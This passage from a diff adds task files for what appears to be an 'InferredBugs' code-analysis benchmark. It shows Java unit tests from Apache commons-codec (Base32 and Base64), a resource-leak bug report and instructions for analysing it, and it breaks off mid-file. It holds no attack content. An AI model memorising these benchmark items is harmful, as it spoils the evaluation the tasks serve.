+     * Tests read returning 0
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testRead0() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        byte[] buf = new byte[1024];
+        int bytesRead = 0;
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base32InputStream in = new Base32InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+        bytesRead = in.read(buf, 0, 0);
+        assertEquals("Base32InputStream.read(buf, 0, 0) returns 0", 0, bytesRead);
+    }
+
+    /**
+     * Tests read with null.
+     *
+     * @throws Exception
+     *             for some failure scenarios.
+     */
+    @Test
+    public void testReadNull() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base32InputStream in = new Base32InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+        try {
+            in.read(null, 0, 0);
+            fail("Base32InputStream.read(null, 0, 0) to throw a NullPointerException");
+        } catch (NullPointerException e) {
+            // Expected
+        }
+    }
+
+    /**
+     * Tests read throwing IndexOutOfBoundsException
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testReadOutOfBounds() throws Exception {
+        byte[] decoded = StringUtils.getBytesUtf8(Base32TestData.STRING_FIXTURE);
+        byte[] buf = new byte[1024];
+        ByteArrayInputStream bin = new ByteArrayInputStream(decoded);
+        Base32InputStream in = new Base32InputStream(bin, true, 4, new byte[] { 0, 0, 0 });
+
+        try {
+            in.read(buf, -1, 0);
+            fail("Expected Base32InputStream.read(buf, -1, 0) to throw IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+
+        try {
+            in.read(buf, 0, -1);
+            fail("Expected Base32InputStream.read(buf, 0, -1) to throw IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+
+        try {
+            in.read(buf, buf.length + 1, 0);
+            fail("Base32InputStream.read(buf, buf.length + 1, 0) throws IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+
+        try {
+            in.read(buf, buf.length - 1, 2);
+            fail("Base32InputStream.read(buf, buf.length - 1, 2) throws IndexOutOfBoundsException");
+        } catch (IndexOutOfBoundsException e) {
+            // Expected
+        }
+    }
+
+    /**
+     * Tests skipping as a noop
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipNone() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        byte[] actualBytes = new byte[6];
+        assertEquals(0, b32stream.skip(0));
+        b32stream.read(actualBytes, 0, actualBytes.length);
+        assertArrayEquals(actualBytes, new byte[] { 102, 111, 111, 0, 0, 0 });
+        // End of stream reached
+        assertEquals(-1, b32stream.read());
+    }
+
+    /**
+     * Tests skipping number of characters larger than the internal buffer.
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipBig() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        assertEquals(3, b32stream.skip(1024));
+        // End of stream reached
+        assertEquals(-1, b32stream.read());
+        assertEquals(-1, b32stream.read());
+    }
+
+    /**
+     * Tests skipping past the end of a stream.
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipPastEnd() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        // due to CODEC-130, skip now skips correctly decoded characters rather than encoded
+        assertEquals(3, b32stream.skip(10));
+        // End of stream reached
+        assertEquals(-1, b32stream.read());
+        assertEquals(-1, b32stream.read());
+    }
+
+    /**
+     * Tests skipping to the end of a stream.
+     *
+     * @throws Throwable
+     */
+    @Test
+    public void testSkipToEnd() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        // due to CODEC-130, skip now skips correctly decoded characters rather than encoded
+        assertEquals(3, b32stream.skip(3));
+        // End of stream reached
+        assertEquals(-1, b32stream.read());
+        assertEquals(-1, b32stream.read());
+    }
+
+    /**
+     * Tests if negative arguments to skip are handled correctly.
+     *
+     * @throws Throwable
+     */
+    @Test(expected=IllegalArgumentException.class)
+    public void testSkipWrongArgument() throws Throwable {
+        InputStream ins = new ByteArrayInputStream(StringUtils.getBytesIso8859_1(ENCODED_FOO));
+        Base32InputStream b32stream = new Base32InputStream(ins);
+        b32stream.skip(-10);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.codec.binary.Base32InputStream` acquired to `b32stream` by call to `Base32InputStream(...)` at line 524 is not released after line 529.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Base32InputStreamTest.testSkipToEnd()
+
+### Procedure Id:
+org.apache.commons.codec.binary.Base32InputStreamTest.testSkipToEnd():void.6a8ac1ed4422284560682250f71ce42b
+
+### File:
+src/test/java/org/apache/commons/codec/binary/Base32InputStreamTest.java
+
+### Key:
+Base32InputStreamTest.java|testSkipToEnd|RESOURCE_LEAK
+
+### Node Key:
+032299521a58ea574b18a1357a739565
+
+### Hash:
+32bd5322b96b07a7b0d976eba8265501
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3347/instruction.md b/inferredbugs-3347/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2e67e400b12312f02292d4cfafd2bc5be68d92da
--- /dev/null
+++ b/inferredbugs-3347/instruction.md
@@ -0,0 +1,1332 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-codec
+**Bug ID:** 52
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.codec.binary;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.math.BigInteger;
+import java.util.Arrays;
+import java.util.Random;
+
+import org.apache.commons.codec.Charsets;
+import org.apache.commons.codec.DecoderException;
+import org.apache.commons.codec.EncoderException;
+import org.junit.Ignore;
+import org.junit.Test;
+
+/**
+ * Test cases for Base64 class.
+ *
+ * @see <a href="http://www.ietf.org/rfc/rfc2045.txt">RFC 2045</a>
+ * @version $Id$
+ */
+public class Base64Test {
+
+    private final Random random = new Random();
+
+    /**
+     * @return Returns the random.
+     */
+    public Random getRandom() {
+        return this.random;
+    }
+
+    /**
+     * Test the isStringBase64 method.
+     */
+    @Test
+    public void testIsStringBase64() {
+        final String nullString = null;
+        final String emptyString = "";
+        final String validString = "abc===defg\n\r123456\r789\r\rABC\n\nDEF==GHI\r\nJKL==============";
+        final String invalidString = validString + (char)0; // append null character
+
+        try {
+            Base64.isBase64(nullString);
+            fail("Base64.isStringBase64() should not be null-safe.");
+        } catch (final NullPointerException npe) {
+            assertNotNull("Base64.isStringBase64() should not be null-safe.", npe);
+        }
+
+        assertTrue("Base64.isStringBase64(empty-string) is true", Base64.isBase64(emptyString));
+        assertTrue("Base64.isStringBase64(valid-string) is true", Base64.isBase64(validString));
+        assertFalse("Base64.isStringBase64(invalid-string) is false", Base64.isBase64(invalidString));
+    }
+
+    /**
+     * Test the Base64 implementation
+     */
+    @Test
+    public void testBase64() {
+        final String content = "Hello World";
+        String encodedContent;
+        byte[] encodedBytes = Base64.encodeBase64(StringUtils.getBytesUtf8(content));
+        encodedContent = StringUtils.newStringUtf8(encodedBytes);
+        assertEquals("encoding hello world", "SGVsbG8gV29ybGQ=", encodedContent);
+
+        Base64 b64 = new Base64(BaseNCodec.MIME_CHUNK_SIZE, null);  // null lineSeparator same as saying no-chunking
+        encodedBytes = b64.encode(StringUtils.getBytesUtf8(content));
+        encodedContent = StringUtils.newStringUtf8(encodedBytes);
+        assertEquals("encoding hello world", "SGVsbG8gV29ybGQ=", encodedContent);
+
+        b64 = new Base64(0, null);  // null lineSeparator same as saying no-chunking
+        encodedBytes = b64.encode(StringUtils.getBytesUtf8(content));
+        encodedContent = StringUtils.newStringUtf8(encodedBytes);
+        assertEquals("encoding hello world", "SGVsbG8gV29ybGQ=", encodedContent);
+
+        // bogus characters to decode (to skip actually) {e-acute*6}
+        final byte[] decode = b64.decode("SGVsbG{\u00e9\u00e9\u00e9\u00e9\u00e9\u00e9}8gV29ybGQ=");
+        final String decodeString = StringUtils.newStringUtf8(decode);
+        assertEquals("decode hello world", "Hello World", decodeString);
+    }
+
+    /**
+     * Test our decode with pad character in the middle.
+     * (Our current implementation:  halt decode and return what we've got so far).
+     *
+     * The point of this test is not to say "this is the correct way to decode base64."
+     * The point is simply to keep us aware of the current logic since 1.4 so we
+     * don't accidentally break it without realizing.
+     *
+     * Note for historians.  The 1.3 logic would decode to:
+     * "Hello World\u0000Hello World" -- null in the middle ---
+     * and 1.4 unwittingly changed it to current logic.
+     */
+    @Test
+    public void testDecodeWithInnerPad() {
+        final String content = "SGVsbG8gV29ybGQ=SGVsbG8gV29ybGQ=";
+        final byte[] result = Base64.decodeBase64(content);
+        final byte[] shouldBe = StringUtils.getBytesUtf8("Hello World");
+        assertTrue("decode should halt at pad (=)", Arrays.equals(result, shouldBe));
+    }
+
+    /**
+     * Tests Base64.encodeBase64().
+     */
+    @Test
+    public void testChunkedEncodeMultipleOf76() {
+        final byte[] expectedEncode = Base64.encodeBase64(Base64TestData.DECODED, true);
+        // convert to "\r\n" so we're equal to the old openssl encoding test stored
+        // in Base64TestData.ENCODED_76_CHARS_PER_LINE:
+        final String actualResult = Base64TestData.ENCODED_76_CHARS_PER_LINE.replaceAll("\n", "\r\n");
+        final byte[] actualEncode = StringUtils.getBytesUtf8(actualResult);
+        assertTrue("chunkedEncodeMultipleOf76", Arrays.equals(expectedEncode, actualEncode));
+    }
+
+    /**
+     * CODEC-68: isBase64 throws ArrayIndexOutOfBoundsException on some non-BASE64 bytes
+     */
+    @Test
+    public void testCodec68() {
+        final byte[] x = new byte[]{'n', 'A', '=', '=', (byte) 0x9c};
+        Base64.decodeBase64(x);
+    }
+
+    @Test
+    public void testCodeInteger1() {
+        final String encodedInt1 = "li7dzDacuo67Jg7mtqEm2TRuOMU=";
+        final BigInteger bigInt1 = new BigInteger("85739377120809420210425962799" + "0318636601332086981");
+
+        assertEquals(encodedInt1, new String(Base64.encodeInteger(bigInt1)));
+        assertEquals(bigInt1, Base64.decodeInteger(encodedInt1.getBytes(Charsets.UTF_8)));
+    }
+
+    @Test
+    public void testCodeInteger2() {
+        final String encodedInt2 = "9B5ypLY9pMOmtxCeTDHgwdNFeGs=";
+        final BigInteger bigInt2 = new BigInteger("13936727572861167254666467268" + "91466679477132949611");
+
+        assertEquals(encodedInt2, new String(Base64.encodeInteger(bigInt2)));
+        assertEquals(bigInt2, Base64.decodeInteger(encodedInt2.getBytes(Charsets.UTF_8)));
+    }
+
+    @Test
+    public void testCodeInteger3() {
+        final String encodedInt3 = "FKIhdgaG5LGKiEtF1vHy4f3y700zaD6QwDS3IrNVGzNp2" + "rY+1LFWTK6D44AyiC1n8uWz1itkYMZF0/aKDK0Yjg==";
+        final BigInteger bigInt3 = new BigInteger("10806548154093873461951748545"
+            + "1196989136416448805819079363524309897749044958112417136240557"
+            + "4495062430572478766856090958495998158114332651671116876320938126");
+
+        assertEquals(encodedInt3, new String(Base64.encodeInteger(bigInt3)));
+        assertEquals(bigInt3, Base64.decodeInteger(encodedInt3.getBytes(Charsets.UTF_8)));
+    }
+
+    @Test
+    public void testCodeInteger4() {
+        final String encodedInt4 = "ctA8YGxrtngg/zKVvqEOefnwmViFztcnPBYPlJsvh6yKI"
+            + "4iDm68fnp4Mi3RrJ6bZAygFrUIQLxLjV+OJtgJAEto0xAs+Mehuq1DkSFEpP3o"
+            + "DzCTOsrOiS1DwQe4oIb7zVk/9l7aPtJMHW0LVlMdwZNFNNJoqMcT2ZfCPrfvYv"
+            + "Q0=";
+        final BigInteger bigInt4 = new BigInteger("80624726256040348115552042320"
+            + "6968135001872753709424419772586693950232350200555646471175944"
+            + "519297087885987040810778908507262272892702303774422853675597"
+            + "748008534040890923814202286633163248086055216976551456088015"
+            + "338880713818192088877057717530169381044092839402438015097654"
+            + "53542091716518238707344493641683483917");
+
+        assertEquals(encodedInt4, new String(Base64.encodeInteger(bigInt4)));
+        assertEquals(bigInt4, Base64.decodeInteger(encodedInt4.getBytes(Charsets.UTF_8)));
+    }
+
+    @Test
+    public void testCodeIntegerEdgeCases() {
+        // TODO
+    }
+
+    @Test
+    public void testCodeIntegerNull() {
+        try {
+            Base64.encodeInteger(null);
+            fail("Exception not thrown when passing in null to encodeInteger(BigInteger)");
+        } catch (final NullPointerException npe) {
+            // expected
+        } catch (final Exception e) {
+            fail("Incorrect Exception caught when passing in null to encodeInteger(BigInteger)");
+        }
+    }
+
+    @Test
+    public void testConstructors() {
+        Base64 base64;
+        base64 = new Base64();
+        base64 = new Base64(-1);
+        base64 = new Base64(-1, new byte[]{});
+        base64 = new Base64(64, new byte[]{});
+        try {
+            base64 = new Base64(-1, new byte[]{'A'}); // TODO do we need to check sep if len = -1?
+            fail("Should have rejected attempt to use 'A' as a line separator");
+        } catch (final IllegalArgumentException ignored) {
+            // Expected
+        }
+        try {
+            base64 = new Base64(64, new byte[]{'A'});
+            fail("Should have rejected attempt to use 'A' as a line separator");
+        } catch (final IllegalArgumentException ignored) {
+            // Expected
+        }
+        try {
+            base64 = new Base64(64, new byte[]{'='});
+            fail("Should have rejected attempt to use '=' as a line separator");
+        } catch (final IllegalArgumentException ignored) {
+            // Expected
+        }
+        base64 = new Base64(64, new byte[]{'$'}); // OK
+        try {
+            base64 = new Base64(64, new byte[]{'A', '$'});
+            fail("Should have rejected attempt to use 'A$' as a line separator");
+        } catch (final IllegalArgumentException ignored) {
+            // Expected
+        }
+        base64 = new Base64(64, new byte[]{' ', '$', '\n', '\r', '\t'}); // OK
+        assertNotNull(base64);
+    }
+
+    @Test
+    public void testConstructor_Int_ByteArray_Boolean() {
+        final Base64 base64 = new Base64(65, new byte[]{'\t'}, false);
+        final byte[] encoded = base64.encode(Base64TestData.DECODED);
+        String expectedResult = Base64TestData.ENCODED_64_CHARS_PER_LINE;
+        expectedResult = expectedResult.replace('\n', '\t');
+        final String result = StringUtils.newStringUtf8(encoded);
+        assertEquals("new Base64(65, \\t, false)", expectedResult, result);
+    }
+
+    @Test
+    public void testConstructor_Int_ByteArray_Boolean_UrlSafe() {
+        // url-safe variation
+        final Base64 base64 = new Base64(64, new byte[]{'\t'}, true);
+        final byte[] encoded = base64.encode(Base64TestData.DECODED);
+        String expectedResult = Base64TestData.ENCODED_64_CHARS_PER_LINE;
+        expectedResult = expectedResult.replaceAll("=", ""); // url-safe has no == padding.
+        expectedResult = expectedResult.replace('\n', '\t');
+        expectedResult = expectedResult.replace('+', '-');
+        expectedResult = expectedResult.replace('/', '_');
+        final String result = StringUtils.newStringUtf8(encoded);
+        assertEquals("new Base64(64, \\t, true)", result, expectedResult);
+    }
+
+    /**
+     * Tests conditional true branch for "marker0" test.
+     */
+    @Test
+    public void testDecodePadMarkerIndex2() {
+        assertEquals("A", new String(Base64.decodeBase64("QQ==".getBytes(Charsets.UTF_8))));
+    }
+
+    /**
+     * Tests conditional branches for "marker1" test.
+     */
+    @Test
+    public void testDecodePadMarkerIndex3() {
+        assertEquals("AA", new String(Base64.decodeBase64("QUE=".getBytes(Charsets.UTF_8))));
+        assertEquals("AAA", new String(Base64.decodeBase64("QUFB".getBytes(Charsets.UTF_8))));
+    }
+
+    @Test
+    public void testDecodePadOnly() {
+        assertEquals(0, Base64.decodeBase64("====".getBytes(Charsets.UTF_8)).length);
+        assertEquals("", new String(Base64.decodeBase64("====".getBytes(Charsets.UTF_8))));
+        // Test truncated padding
+        assertEquals(0, Base64.decodeBase64("===".getBytes(Charsets.UTF_8)).length);
+        assertEquals(0, Base64.decodeBase64("==".getBytes(Charsets.UTF_8)).length);
+        assertEquals(0, Base64.decodeBase64("=".getBytes(Charsets.UTF_8)).length);
+        assertEquals(0, Base64.decodeBase64("".getBytes(Charsets.UTF_8)).length);
+    }
+
+    @Test
+    public void testDecodePadOnlyChunked() {
+        assertEquals(0, Base64.decodeBase64("====\n".getBytes(Charsets.UTF_8)).length);
+        assertEquals("", new String(Base64.decodeBase64("====\n".getBytes(Charsets.UTF_8))));
+        // Test truncated padding
+        assertEquals(0, Base64.decodeBase64("===\n".getBytes(Charsets.UTF_8)).length);
+        assertEquals(0, Base64.decodeBase64("==\n".getBytes(Charsets.UTF_8)).length);
+        assertEquals(0, Base64.decodeBase64("=\n".getBytes(Charsets.UTF_8)).length);
+        assertEquals(0, Base64.decodeBase64("\n".getBytes(Charsets.UTF_8)).length);
+    }
+
+    @Test
+    public void testDecodeWithWhitespace() throws Exception {
+
+        final String orig = "I am a late night coder.";
+
+        final byte[] encodedArray = Base64.encodeBase64(orig.getBytes(Charsets.UTF_8));
+        final StringBuilder intermediate = new StringBuilder(new String(encodedArray));
+
+        intermediate.insert(2, ' ');
+        intermediate.insert(5, '\t');
+        intermediate.insert(10, '\r');
+        intermediate.insert(15, '\n');
+
+        final byte[] encodedWithWS = intermediate.toString().getBytes(Charsets.UTF_8);
+        final byte[] decodedWithWS = Base64.decodeBase64(encodedWithWS);
+
+        final String dest = new String(decodedWithWS);
+
+        assertEquals("Dest string doesn't equal the original", orig, dest);
+    }
+
+    /**
+     * Test encode and decode of empty byte array.
+     */
+    @Test
+    public void testEmptyBase64() {
+        byte[] empty = new byte[0];
+        byte[] result = Base64.encodeBase64(empty);
+        assertEquals("empty base64 encode", 0, result.length);
+        assertEquals("empty base64 encode", null, Base64.encodeBase64(null));
+
+        empty = new byte[0];
+        result = Base64.decodeBase64(empty);
+        assertEquals("empty base64 decode", 0, result.length);
+        assertEquals("empty base64 encode", null, Base64.decodeBase64((byte[]) null));
+    }
+
+    // encode/decode a large random array
+    @Test
+    public void testEncodeDecodeRandom() {
+        for (int i = 1; i < 5; i++) {
+            final byte[] data = new byte[this.getRandom().nextInt(10000) + 1];
+            this.getRandom().nextBytes(data);
+            final byte[] enc = Base64.encodeBase64(data);
+            assertTrue(Base64.isBase64(enc));
+            final byte[] data2 = Base64.decodeBase64(enc);
+            assertTrue(Arrays.equals(data, data2));
+        }
+    }
+
+    // encode/decode random arrays from size 0 to size 11
+    @Test
+    public void testEncodeDecodeSmall() {
+        for (int i = 0; i < 12; i++) {
+            final byte[] data = new byte[i];
+            this.getRandom().nextBytes(data);
+            final byte[] enc = Base64.encodeBase64(data);
+            assertTrue("\"" + new String(enc) + "\" is Base64 data.", Base64.isBase64(enc));
+            final byte[] data2 = Base64.decodeBase64(enc);
+            assertTrue(toString(data) + " equals " + toString(data2), Arrays.equals(data, data2));
+        }
+    }
+
+    @Test
+    public void testEncodeOverMaxSize() throws Exception {
+        testEncodeOverMaxSize(-1);
+        testEncodeOverMaxSize(0);
+        testEncodeOverMaxSize(1);
+        testEncodeOverMaxSize(2);
+    }
+
+    @Test
+    public void testCodec112() { // size calculation assumes always chunked
+        final byte[] in = new byte[] {0};
+        final byte[] out=Base64.encodeBase64(in);
+        Base64.encodeBase64(in, false, false, out.length);
+    }
+
+    private void testEncodeOverMaxSize(final int maxSize) throws Exception {
+        try {
+            Base64.encodeBase64(Base64TestData.DECODED, true, false, maxSize);
+            fail("Expected " + IllegalArgumentException.class.getName());
+        } catch (final IllegalArgumentException e) {
+            // Expected
+        }
+    }
+
+    @Test
+    public void testIgnoringNonBase64InDecode() throws Exception {
+        assertEquals("The quick brown fox jumped over the lazy dogs.", new String(Base64
+                .decodeBase64("VGhlIH@$#$@%F1aWN@#@#@@rIGJyb3duIGZve\n\r\t%#%#%#%CBqd##$#$W1wZWQgb3ZlciB0aGUgbGF6eSBkb2dzLg==".getBytes(Charsets.UTF_8))));
+    }
+
+    @Test
+    public void testIsArrayByteBase64() {
+        assertFalse(Base64.isBase64(new byte[]{Byte.MIN_VALUE}));
+        assertFalse(Base64.isBase64(new byte[]{-125}));
+        assertFalse(Base64.isBase64(new byte[]{-10}));
+        assertFalse(Base64.isBase64(new byte[]{0}));
+        assertFalse(Base64.isBase64(new byte[]{64, Byte.MAX_VALUE}));
+        assertFalse(Base64.isBase64(new byte[]{Byte.MAX_VALUE}));
+        assertTrue(Base64.isBase64(new byte[]{'A'}));
+        assertFalse(Base64.isBase64(new byte[]{'A', Byte.MIN_VALUE}));
+        assertTrue(Base64.isBase64(new byte[]{'A', 'Z', 'a'}));
+        assertTrue(Base64.isBase64(new byte[]{'/', '=', '+'}));
+        assertFalse(Base64.isBase64(new byte[]{'$'}));
+    }
+
+    /**
+     * Tests isUrlSafe.
+     */
+    @Test
+    public void testIsUrlSafe() {
+        final Base64 base64Standard = new Base64(false);
+        final Base64 base64URLSafe = new Base64(true);
+
+        assertFalse("Base64.isUrlSafe=false", base64Standard.isUrlSafe());
+        assertTrue("Base64.isUrlSafe=true", base64URLSafe.isUrlSafe());
+
+        final byte[] whiteSpace = {' ', '\n', '\r', '\t'};
+        assertTrue("Base64.isBase64(whiteSpace)=true", Base64.isBase64(whiteSpace));
+    }
+
+    @Test
+    public void testKnownDecodings() {
+        assertEquals("The quick brown fox jumped over the lazy dogs.", new String(Base64
+                .decodeBase64("VGhlIHF1aWNrIGJyb3duIGZveCBqdW1wZWQgb3ZlciB0aGUgbGF6eSBkb2dzLg==".getBytes(Charsets.UTF_8))));
+        assertEquals("It was the best of times, it was the worst of times.", new String(Base64
+                .decodeBase64("SXQgd2FzIHRoZSBiZXN0IG9mIHRpbWVzLCBpdCB3YXMgdGhlIHdvcnN0IG9mIHRpbWVzLg==".getBytes(Charsets.UTF_8))));
+        assertEquals("http://jakarta.apache.org/commmons", new String(Base64
+                .decodeBase64("aHR0cDovL2pha2FydGEuYXBhY2hlLm9yZy9jb21tbW9ucw==".getBytes(Charsets.UTF_8))));
+        assertEquals("AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz", new String(Base64
+                .decodeBase64("QWFCYkNjRGRFZUZmR2dIaElpSmpLa0xsTW1Obk9vUHBRcVJyU3NUdFV1VnZXd1h4WXlaeg==".getBytes(Charsets.UTF_8))));
+        assertEquals("{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 }", new String(Base64.decodeBase64("eyAwLCAxLCAyLCAzLCA0LCA1LCA2LCA3LCA4LCA5IH0="
+                .getBytes(Charsets.UTF_8))));
+        assertEquals("xyzzy!", new String(Base64.decodeBase64("eHl6enkh".getBytes(Charsets.UTF_8))));
+    }
+
+    @Test
+    public void testKnownEncodings() {
+        assertEquals("VGhlIHF1aWNrIGJyb3duIGZveCBqdW1wZWQgb3ZlciB0aGUgbGF6eSBkb2dzLg==", new String(Base64
+                .encodeBase64("The quick brown fox jumped over the lazy dogs.".getBytes(Charsets.UTF_8))));
+        assertEquals(
+                "YmxhaCBibGFoIGJsYWggYmxhaCBibGFoIGJsYWggYmxhaCBibGFoIGJsYWggYmxhaCBibGFoIGJs\r\nYWggYmxhaCBibGFoIGJsYWggYmxhaCBibGFoIGJsYWggYmxhaCBibGFoIGJsYWggYmxhaCBibGFo\r\nIGJsYWggYmxhaCBibGFoIGJsYWggYmxhaCBibGFoIGJsYWggYmxhaCBibGFoIGJsYWggYmxhaCBi\r\nbGFoIGJsYWg=\r\n",
+                new String(
+                        Base64
+                                .encodeBase64Chunked("blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah blah"
+                                        .getBytes(Charsets.UTF_8))));
+        assertEquals("SXQgd2FzIHRoZSBiZXN0IG9mIHRpbWVzLCBpdCB3YXMgdGhlIHdvcnN0IG9mIHRpbWVzLg==", new String(Base64
+                .encodeBase64("It was the best of times, it was the worst of times.".getBytes(Charsets.UTF_8))));
+        assertEquals("aHR0cDovL2pha2FydGEuYXBhY2hlLm9yZy9jb21tbW9ucw==", new String(Base64
+                .encodeBase64("http://jakarta.apache.org/commmons".getBytes(Charsets.UTF_8))));
+        assertEquals("QWFCYkNjRGRFZUZmR2dIaElpSmpLa0xsTW1Obk9vUHBRcVJyU3NUdFV1VnZXd1h4WXlaeg==", new String(Base64
+                .encodeBase64("AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz".getBytes(Charsets.UTF_8))));
+        assertEquals("eyAwLCAxLCAyLCAzLCA0LCA1LCA2LCA3LCA4LCA5IH0=", new String(Base64.encodeBase64("{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 }"
+                .getBytes(Charsets.UTF_8))));
+        assertEquals("eHl6enkh", new String(Base64.encodeBase64("xyzzy!".getBytes(Charsets.UTF_8))));
+    }
+
+    @Test
+    public void testNonBase64Test() throws Exception {
+
+        final byte[] bArray = {'%'};
+
+        assertFalse("Invalid Base64 array was incorrectly validated as " + "an array of Base64 encoded data", Base64
+                .isBase64(bArray));
+
+        try {
+            final Base64 b64 = new Base64();
+            final byte[] result = b64.decode(bArray);
+
+            assertEquals("The result should be empty as the test encoded content did " + "not contain any valid base 64 characters",
+                    0, result.length);
+        } catch (final Exception e) {
+            fail("Exception was thrown when trying to decode "
+                + "invalid base64 encoded data - RFC 2045 requires that all "
+                + "non base64 character be discarded, an exception should not"
+                + " have been thrown");
+        }
+    }
+
+    @Test
+    public void testObjectDecodeWithInvalidParameter() throws Exception {
+        final Base64 b64 = new Base64();
+
+        try {
+            b64.decode(Integer.valueOf(5));
+            fail("decode(Object) didn't throw an exception when passed an Integer object");
+        } catch (final DecoderException e) {
+            // ignored
+        }
+
+    }
+
+    @Test
+    public void testObjectDecodeWithValidParameter() throws Exception {
+
+        final String original = "Hello World!";
+        final Object o = Base64.encodeBase64(original.getBytes(Charsets.UTF_8));
+
+        final Base64 b64 = new Base64();
+        final Object oDecoded = b64.decode(o);
+        final byte[] baDecoded = (byte[]) oDecoded;
+        final String dest = new String(baDecoded);
+
+        assertEquals("dest string does not equal original", original, dest);
+    }
+
+    @Test
+    public void testObjectEncodeWithInvalidParameter() throws Exception {
+        final Base64 b64 = new Base64();
+        try {
+            b64.encode("Yadayadayada");
+            fail("encode(Object) didn't throw an exception when passed a String object");
+        } catch (final EncoderException e) {
+            // Expected
+        }
+    }
+
+    @Test
+    public void testObjectEncodeWithValidParameter() throws Exception {
+
+        final String original = "Hello World!";
+        final Object origObj = original.getBytes(Charsets.UTF_8);
+
+        final Base64 b64 = new Base64();
+        final Object oEncoded = b64.encode(origObj);
+        final byte[] bArray = Base64.decodeBase64((byte[]) oEncoded);
+        final String dest = new String(bArray);
+
+        assertEquals("dest string does not equal original", original, dest);
+    }
+
+    @Test
+    public void testObjectEncode() throws Exception {
+        final Base64 b64 = new Base64();
+        assertEquals("SGVsbG8gV29ybGQ=", new String(b64.encode("Hello World".getBytes(Charsets.UTF_8))));
+    }
+
+    @Test
+    public void testPairs() {
+        assertEquals("AAA=", new String(Base64.encodeBase64(new byte[]{0, 0})));
+        for (int i = -128; i <= 127; i++) {
+            final byte test[] = {(byte) i, (byte) i};
+            assertTrue(Arrays.equals(test, Base64.decodeBase64(Base64.encodeBase64(test))));
+        }
+    }
+
+    /**
+     * Tests RFC 2045 section 2.1 CRLF definition.
+     */
+    @Test
+    public void testRfc2045Section2Dot1CrLfDefinition() {
+        assertTrue(Arrays.equals(new byte[]{13, 10}, Base64.CHUNK_SEPARATOR));
+    }
+
+    /**
+     * Tests RFC 2045 section 6.8 chuck size definition.
+     */
+    @Test
+    public void testRfc2045Section6Dot8ChunkSizeDefinition() {
+        assertEquals(76, BaseNCodec.MIME_CHUNK_SIZE);
+    }
+
+    /**
+     * Tests RFC 1421 section 4.3.2.4 chuck size definition.
+     */
+    @Test
+    public void testRfc1421Section6Dot8ChunkSizeDefinition() {
+        assertEquals(64, BaseNCodec.PEM_CHUNK_SIZE);
+    }
+
+    /**
+     * Tests RFC 4648 section 10 test vectors.
+     * <ul>
+     * <li>BASE64("") = ""</li>
+     * <li>BASE64("f") = "Zg=="</li>
+     * <li>BASE64("fo") = "Zm8="</li>
